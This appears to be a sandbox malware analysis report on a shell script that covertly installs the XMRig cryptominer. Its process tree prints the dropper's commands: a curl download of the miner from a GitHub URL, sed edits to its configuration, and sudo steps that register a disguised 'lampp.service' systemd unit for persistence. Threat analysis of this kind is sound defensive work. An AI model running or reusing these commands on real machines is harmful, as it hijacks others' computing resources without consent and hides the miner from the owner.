Analysis

  • max time kernel
    5s
  • max time network
    1022s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:29

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1401
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1404
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1405
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1412
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1419
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1457
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1458
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1459
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1459
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1459
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1459
                    • /usr/bin/rm
                      2⤵
                        PID:1460
                      • /usr/bin/sed
                        2⤵
                        • Reads runtime system information
                        PID:1461
                      • /root/lampp/xmrig
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:1462
                      • /usr/bin/sed
                        2⤵
                          PID:1467
                        • /usr/bin/cut
                          2⤵
                            PID:1466
                          • /usr/bin/hostname
                            2⤵
                              PID:1465
                            • /usr/bin/sed
                              2⤵
                                PID:1468
                              • /usr/bin/sed
                                2⤵
                                  PID:1469
                                • /usr/bin/sed
                                  2⤵
                                    PID:1470
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1471
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1472
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1473
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1474
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1475
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1476
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1477
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1478
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1479
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1480
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1483
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1482
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1484
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1485
                                                        • /usr/bin/mv
                                                          mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1486
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1487
                                                        • /usr/bin/killall
                                                          killall xmrig
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1488
                                                      • /usr/bin/sudo
                                                        sudo systemctl daemon-reload
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1489
                                                        • /usr/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                          • Reads EFI boot settings
                                                          • Enumerates kernel/hardware configuration
                                                          • Reads runtime system information
                                                          PID:1490
                                                      • /usr/bin/sudo
                                                        sudo systemctl enable lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1516
                                                        • /usr/bin/systemctl
                                                          systemctl enable lampp.service
                                                          3⤵
                                                          • Reads EFI boot settings
                                                          • Enumerates kernel/hardware configuration
                                                          • Reads runtime system information
                                                          PID:1529
                                                      • /usr/bin/sudo
                                                        sudo systemctl start lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1555
                                                        • /usr/bin/systemctl
                                                          systemctl start lampp.service
                                                          3⤵
                                                          • Reads EFI boot settings
                                                          • Enumerates kernel/hardware configuration
                                                          • Reads runtime system information
                                                          PID:1556

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

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                                                    Downloads

                                                    • /root/lampp/config.json

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      f3294129e6b76283965ad86a815bf383

                                                      SHA1

                                                      5fe0ab538f86962efe82cb13fc2da745610740af

                                                      SHA256

                                                      578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                      SHA512

                                                      07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                    • /root/lampp/sed30D24D

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      4a030dab7c8786feacd231d15c219bb9

                                                      SHA1

                                                      b68a247d5e33c598ba4de3e01469388ef2bb76c3

                                                      SHA256

                                                      d9714cc5cfad98a878c8c79274afaeaf5cb79ddaf457666a799c6337332920cd

                                                      SHA512

                                                      d8aa067a4e206862dff0dcc80f1210d44322a41784fbcdbbd0007f95d35d8c295b1177339a3507945d3ae8b2ca1e3872bb63f2cfbb041bf8afb4d99f8e781767

                                                    • /root/lampp/sed7rH8gC

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      80c1aecfcf57cba5e6fdfa22ef307ea2

                                                      SHA1

                                                      8d7ebd9b6afc972e51ae6d1c546db94f24bcb061

                                                      SHA256

                                                      0147b36953bc15cc98b6923c9ef074d26bc179c54f101dbef6595bb2efb028b4

                                                      SHA512

                                                      78b48f32cae1b6845e044ccfec2edeba53c983fe0dde4a73ac8e1098e47d6210dd6ed492606d33c7dde755bc9cc2c42b9a7f214801f45be5ae3ff1bc8e436d60

                                                    • /root/lampp/sedIouyOP

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      20e9ca9000148ead348143b486eb3d61

                                                      SHA1

                                                      8d0884f322a492f062bb1e4c43c2170697edc204

                                                      SHA256

                                                      a31c5c834e5fab1af3126d0f816313f8538e7a728b042638bd9bc922d60f73c3

                                                      SHA512

                                                      228713103722d91aa68004e720c784e18a5f73db2b08fe872c0ee17380d5eeea6a5ca2636e87ed4d54a4fd0c098ed8fac5ce62f3434a8eb7d3e653f2d32b9502

                                                    • /root/lampp/sedIqwerg

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      8b11b027dd187104473ee7d661ffe25f

                                                      SHA1

                                                      ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                      SHA256

                                                      984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                      SHA512

                                                      1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                    • /root/lampp/sedrgwZ7d

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      d489ddbbb83271e967b8af615d17d3c7

                                                      SHA1

                                                      f0394a367a60e9727269882154098dec802774ef

                                                      SHA256

                                                      5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                      SHA512

                                                      aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                    • /root/lampp/sedzlUoJn

                                                      Filesize

                                                      2KB

                                                      MD5

                                                      ec2c52330f4376ee31cd959748790ad9

                                                      SHA1

                                                      c6581039220aefd305f8013ddc299d001883d777

                                                      SHA256

                                                      2d124aeca8042662fb28816b0e85c20b22f37c77fc34c4e39eb889a7cf424edc

                                                      SHA512

                                                      4508d805a723992b0a62b331bfcae79ce4efcbf8d4639b30192131356e9676eac6b5f1a695993e678214989b6d8544ce91411248782f49d7751740b84353e1aa

                                                    • /root/lampp/xmrig

                                                      Filesize

                                                      8.4MB

                                                      MD5

                                                      305e45d8e5fa97e6d0b98868b42ff02b

                                                      SHA1

                                                      0641737f624dbef2881ce1944e0fe7e87e5c9fee

                                                      SHA256

                                                      d936a1f3dd2e46a8abf3ed1167a8926c00420aa42df4da100d8ae2b7399b8128

                                                      SHA512

                                                      7839916b1baf9c75d2915be17656c14fb226ddf226918e17e87c9a691a96f595590a5bf2493e0829d775aab3bf42bec7ce8ac57a04c6062d2db9a3624cfe1bba

                                                    • /tmp/lampp.service

                                                      Filesize

                                                      177B

                                                      MD5

                                                      540c899b78585827e807a62f7345eaf5

                                                      SHA1

                                                      8bf3146889c6b15811f226bff9fbca24d184eff2

                                                      SHA256

                                                      b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                      SHA512

                                                      0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                    • /tmp/sh-thd.nogGoU

                                                      Filesize

                                                      253B

                                                      MD5

                                                      f96a321a262287ceae164f23f232ed9c

                                                      SHA1

                                                      d1eeab41f244b42377afd7cc3de7428736162b24

                                                      SHA256

                                                      f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                      SHA512

                                                      75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                    • /tmp/xmrig.tar.gz

                                                      Filesize

                                                      3.4MB

                                                      MD5

                                                      e003a3ec8bdd61151a61cadf950502c4

                                                      SHA1

                                                      2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                      SHA256

                                                      80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                      SHA512

                                                      ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9